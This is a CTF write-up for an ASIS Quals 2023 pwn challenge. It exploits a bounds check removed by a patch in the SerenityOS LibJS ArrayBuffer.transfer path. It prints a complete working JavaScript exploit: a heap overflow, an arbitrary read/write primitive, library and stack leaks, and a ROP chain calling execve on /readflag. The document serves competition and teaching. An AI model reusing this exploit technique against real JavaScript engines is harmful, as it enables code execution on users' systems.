• Event: ASIS CTF Quals 2023
  • Category: pwn
  • Solves: 11
  • Points: 271

Preliminary

Files can be downloaded from here. Looking at chall.patch we see that challenge authors introduced a new bug in SerenityOS’ LibJS

commit hash: 799b465fac5672f167d6fec599fe167bce92862d
...
the provided binaries have debug symbols.

They also provide Dockerfile so we can download libc.so.6 and ld.so to recreate almost the same environment as in docker.

run.py file:

with tempfile.NamedTemporaryFile() as tmp:
	print('Send the file: (ended with "\\n-- EOF --\\n"):')
	s = input()
	while(s != '-- EOF --'):
		tmp.write((s+'\n').encode())
		s = input()
	tmp.flush()
	os.close(0)
	os.system('LD_LIBRARY_PATH=/libjs/ timeout 3 ./js ' + tmp.name)

I put libc.so.6 into /libjs/ folder and on my host I run binary this way:

./ld.so --library-path  /libjs/ ./js ../exploit.js

Vulnerability

Let’s checkout the patch they provided. They removed security checks in several places.

file ByteBuffer.h:

--- a/./AK/ByteBuffer.h
+++ b/../patched-serenity/AK/ByteBuffer.h
@@ -104,7 +104,7 @@ public:
 
     [[nodiscard]] u8& operator[](size_t i)
     {
-        VERIFY(i < m_size);
+        // VERIFY(i < m_size);
         return data()[i];
     }

If you don’t know C++ or how operator[] works you can check out this.

ByteBuffer is an internal class that store data, it is used by other classes for example ArrayByffer which has field of ByteBuffer class.

ArrayBuffer.h ArrayBuffer.cpp

ArrayBuffer can be instantiated from javascript code:

var ab = new ArrayBuffer(0x108)
var ab32 = new Uint32Array(ab)

ab32[0] = 0x11
ab32[1] = 0x22

var ab64 = new BigUint64Array(ab)
ab64[1] = 0x33n

console.log(ab64[0].toString(16))
$ ./ld.so --library-path  ./libjs/ ./js ../array.js
"2200000011"

ab is the “real” array, ab32 and ab64 are only wrappers.

They also patched 2 methods of ArrayBuffer.
copy_data_block_bytes:

-    auto to_size = to_block.size();
+    // auto to_size = to_block.size();
 
     // 5. Assert: toIndex + count ≤ toSize.
-    VERIFY(to_index + count <= to_size);
+    // VERIFY(to_index + count <= to_size);

array_buffer_copy_and_detach:

     auto copy_length = min(new_byte_length, array_buffer.byte_length());
+    if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();

Here is a view of calling hierarchy.

copy_data_block_bytes (patched)
	↑ slice (ArrayBufferPrototype.cpp)
	↑ clone_array_buffer
		↑ class TypedArray
	↑ array_buffer_copy_and_detach (patched)
		↑ transfer (ArrayBufferPrototype.cpp)
		↑ transfer_to_fixed_length (ArrayBufferPrototype.cpp)

The possible way of triggering the vulnerability is transfer -> array_buffer_copy_and_detach -> copy_data_block_bytes.
There is also the second way - transfer_to_fixed_length but it is the same function as transfer.

transfer is a method of ArrayBuffer which is callable from javascript. It creates a new ArrayBuffer and copies data from the source array. It can have 0 or 1 argument, this is an example which creates array of size 8 and copies 8 bytes (at least before the patch) :

var ab = new ArrayBuffer(0x108)
n = ab.transfer(8)

Below, starting from transfer, is a code which leads to vulnerability, but I cut off parts that were not relevant and put comments:

//ArrayBufferPrototype.cpp
JS_DEFINE_NATIVE_FUNCTION(ArrayBufferPrototype::transfer)
{
    //....
    //Argument
    auto new_length = vm.argument(0);
    return TRY(array_buffer_copy_and_detach(vm, array_buffer_object, new_length, PreserveResizability::PreserveResizability));
}



//ArrayBuffer.cpp
ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer& array_buffer, Value new_length, PreserveResizability)
{
    //....
    // new_byte_length is equal to 'transfer' argument or source array size.
    auto new_byte_length = new_length.is_undefined() ? array_buffer.byte_length() : TRY(new_length.to_index(vm));
    //....
    
    // Allocate new array of size 'new_byte_length'
    auto* new_buffer = TRY(allocate_array_buffer(vm, realm.intrinsics().array_buffer_constructor(), new_byte_length));
    //....
    
    // Buffer overflow prevention - min(dest.size,src.size)
    auto copy_length = min(new_byte_length, array_buffer.byte_length());
    
    // This line is added by patch.
    // Length of data to copy is equal to source buffer size if it's more than 0x100 bytes.
    // Ooops
    if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length(); 
    //....
    
    copy_data_block_bytes(new_buffer->buffer(), 0, array_buffer.buffer(), 0, copy_length);
    //....
}



//ArrayBuffer.cpp
void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const& from_block, u64 from_index, u64 count)
{
    //....

    // Asserts that they were removed in the patch.
    // auto to_size = to_block.size();
    // VERIFY(to_index + count <= to_size);
    //....
    
    while (count > 0) {
        //....
        
        // Operations on ByteBuffer objects
        to_block[to_index] = from_block[from_index];
        // ↓
        // ByteBuffer::operator[]
        //....
    }
    //....
}

So we can trigger buffer overflow vulnerability by providing low argument to tranfer and source array with size > 0x100.
This code crashes our patched binary:

var ab = new ArrayBuffer(0x108)
n = ab.transfer(8) // create an array of size 8 and copy 0x108 bytes.

The problem is that we still don’t have any leak.

More Insights

A general method for exploiting JavaScript engines involves creating specialized objects in memory and attempting to overwrite them. A desirable object is one that grants us arbitrary read and write capabilities.

In our case, the vulnerable class ByteBuffer is also excellent for overwriting because it contains both size and a pointer to a raw memory region.

Let’s look at ByteBuffer class.

template<size_t inline_capacity>
class ByteBuffer {
    //......
    
    union {
        u8 m_inline_buffer[inline_capacity]; // 32 bytes
        struct {
            u8* m_outline_buffer;
            size_t m_outline_capacity;
        };
    };
    size_t m_size { 0 }; // represents the size of an array as perceived by JavaScript.
    bool m_inline { true };
}; // 48 bytes

So the class has 2 “modes” - “inline” for smaller arays or “pointer” for bigger arrays.

Let’s attach gdb and check how it looks inside.

inline mode - array of size 8:

gef➤  x/6gx 0x555556150200
0x555556150200:	0x4242424242424242	0x0000000000000000
0x555556150210:	0x0000000000000000	0x0000000000000000
0x555556150220:	0x0000000000000008	0x0000000000000001

pointer mode - array of size 0x108:

gef➤  x/6gx 0x555556150080
0x555556150080:	0x00005555560d9270	0x0000000000000108
0x555556150090:	0x0000000000000000	0x0000000000000000
0x5555561500a0:	0x0000000000000108	0x0000000000000000
gef➤  x/s 0x00005555560d9270
0x5555560d9270:	"AAAAAAAA"

If you don’t know how to find an address of your array, use gef’s grep command

I think that the simplest way of exploitation is to overwrite ByteBuffer in inline mode. In n = ab.transfer(8) 8 is small enough so a new ByteBuffer in inline mode is created. Then we write data to m_inline_buffer and later we overwrite m_size.

So we can set m_size to a very big value.

Exploitation

This code allocates a new ArrayBuffer/ByteBuffer of size 8, named big and overwrite it’s m_size to 0x1000000:

var ab = new ArrayBuffer(0x108);
var ab64 = new BigUint64Array(ab);

//big.m_inline_buffer
for (var i = 0; i < 4; i++) ab64[i] = 0x4141414141414141n; 
//big.m_size
ab64[4] = 0x1000000n;
//big.m_inline=true
ab64[5] = 0x1n;
//something after big's ByteBuffer
ab64[6] = 0x1n //Must be 0x1, crashes otherwise

big = ab.transfer(8); // new ByteBuffer and overflow it

We write 0x108 bytes while ByteBuffer is 48 bytes big, so some other objects are also overwritten, I discovered by luck that ab64[6] must by 1 and I wasn’t spending my time to discover why.

Right now we are in a far better situation because we can use big for further overflows but now we don’t need to create a new object all the time, so we overflow the same place in memory each time.

And also we can do leaks now.

Let’s create a new ArrayBuffer/ByteBuffer with size set to 0x690 and try to find it in memory by reading from big array:

var target = new ArrayBuffer(0x690);
var target64 = new BigUint64Array(target);

var big64 = new BigUint64Array(big);

//leak
for(var i=0;i<25;i++) {
	console.log(i, big64[i].toString(16))
}

->

$ ./ld.so --library-path  /libjs/ ./js ../step.js
0 "4141414141414141"
1 "4141414141414141"
2 "4141414141414141"
3 "4141414141414141"
4 "1000000"
5 "1"
6 "1"
7 "0"
8 "7ffff7e7dda8"
9 "100"
10 "7ffff8082560"
11 "0"
12 "0"
13 "0"
14 "0"
15 "0"
16 "7ffff80bb3c0"
17 "690"
18 "0"
19 "0"
20 "690"
21 "0"
22 "1"
23 "7ffe000000000000"
24 "7ffff7e7dda8"

There is 690 at index 17 and 20. So

  • big[17] is target.m_outline_capacity
  • big[20] is target.m_size
  • big[16] is target.m_outline_buffer (pointer to data)

As we can read target.m_outline_buffer from big[16], we can also write to it, later using target as an array it’s possible to read and write data to arbitrary address.

Let’s create helper functions:

function read64(addr) { big64[16] = addr; return target64[0]; }
function write64(addr, val) { big64[16] = addr; target64[0] = val; }

Also notice that under big[8] is a pointer to liblagom-js.so.

var liblagom_js_base = big64[8] - 0x67dda8n;

At this point writing further exploit is as straightforward as in usual easy pwning challenge.

Just do some leaks:

free = read64(liblagom_js_base+0x69b420n)
console.log("free 0x" + free.toString(16))

libc_base = free - 0xa8780n
console.log("libc_base 0x" + libc_base.toString(16))

stack_pointer = libc_base + 0x25e8c0n //the second next stack pointer after program_invocation_short_name 
stack = read64(stack_pointer)
console.log("stack 0x" + stack.toString(16))

And my last step was to write ROP to a place on the stack on return address from some function. Using telescope and trying a few places I found stack-0x110 as a good place:

binsh = libc_base + 0x1c041bn
pop_rdi = libc_base+0x0000000000028715n;
pop_rsi = libc_base+0x000000000002a671n;
pop_rdx = libc_base+0x0000000000093359n;
syscall = libc_base+0x00000000000942b6n;
pop_rax = libc_base+0x0000000000046663n;

rop = stack-0x110n //where to write rop 

check = read64(rop)
console.log("check 0x" + check.toString(16))

write64(rop,pop_rdi)
write64(rop+8n,rop+8n*10n)
write64(rop+8n*2n,pop_rsi)
write64(rop+8n*3n,0n)
write64(rop+8n*4n,pop_rdx)
write64(rop+8n*5n,0n)
write64(rop+8n*6n,0n)
write64(rop+8n*7n,pop_rax)
write64(rop+8n*8n,59n)
write64(rop+8n*9n,syscall)
write64(rop+8n*10n,0x616c66646165722fn)// "/readfla"
write64(rop+8n*11n,0x67n) // "g"

Full exploit

//---STEP 1-----------------------
//ovewrite size of `big` ArrayBuffer
var ab = new ArrayBuffer(0x108);
var ab64 = new BigUint64Array(ab);

//fill inline buffer
for (var i = 0; i < 4; i++) ab64[i] = 0x4141414141414141n; 
//m_size
ab64[4] = 0x1000000n;
//m_inline=true, need
ab64[5] = 0x1n;
//something, after ByteBuffer Structure
ab64[6] = 0x1n //Must be 0x1, crashes otherwise

big = ab.transfer(8);

//---STEP 2-----------------------
//create a new structure and leak from 'big'
var target = new ArrayBuffer(0x690);
var target64 = new BigUint64Array(target);

var big64 = new BigUint64Array(big);

//leak
for(var i=0;i<25;i++) {
	console.log(i, big64[i].toString(16))
}

//----STEP 3-----------------------
//leak liblagom-js.so

var liblagom_js_base = big64[8] - 0x67dda8n;
console.log("liblagom_js 0x" + liblagom_js_base.toString(16))

//----STEP 4-----------------------
//create arbitrary read and write functions
function read64(addr) { big64[16] = addr; return target64[0]; }
function write64(addr, val) { big64[16] = addr; target64[0] = val; }

//----STEP 5-----------------------
//Do some leaks
free = read64(liblagom_js_base+0x69b420n)
console.log("free 0x" + free.toString(16))

libc_base = free - 0xa8780n
console.log("libc_base 0x" + libc_base.toString(16))


stack_pointer = libc_base + 0x25e8c0n //the second next stack pointer after program_invocation_short_name
stack = read64(stack_pointer)
console.log("stack 0x" + stack.toString(16))

//----STEP 6-----------------------
//Write ROP on the stack in some return address

binsh = libc_base + 0x1c041bn
pop_rdi = libc_base+0x0000000000028715n;
pop_rsi = libc_base+0x000000000002a671n;
pop_rdx = libc_base+0x0000000000093359n;
syscall = libc_base+0x00000000000942b6n;
pop_rax = libc_base+0x0000000000046663n;

rop = stack-0x110n //where to write rop 

check = read64(rop)
console.log("check 0x" + check.toString(16))

write64(rop,pop_rdi)
write64(rop+8n,rop+8n*10n)
write64(rop+8n*2n,pop_rsi)
write64(rop+8n*3n,0n)
write64(rop+8n*4n,pop_rdx)
write64(rop+8n*5n,0n)
write64(rop+8n*6n,0n)
write64(rop+8n*7n,pop_rax)
write64(rop+8n*8n,59n)
write64(rop+8n*9n,syscall)
write64(rop+8n*10n,0x616c66646165722fn)// "/readfla"
write64(rop+8n*11n,0x67n) // "g"

Credits

szymex73 and others justCatTheFish members who know javascript, thanks for your help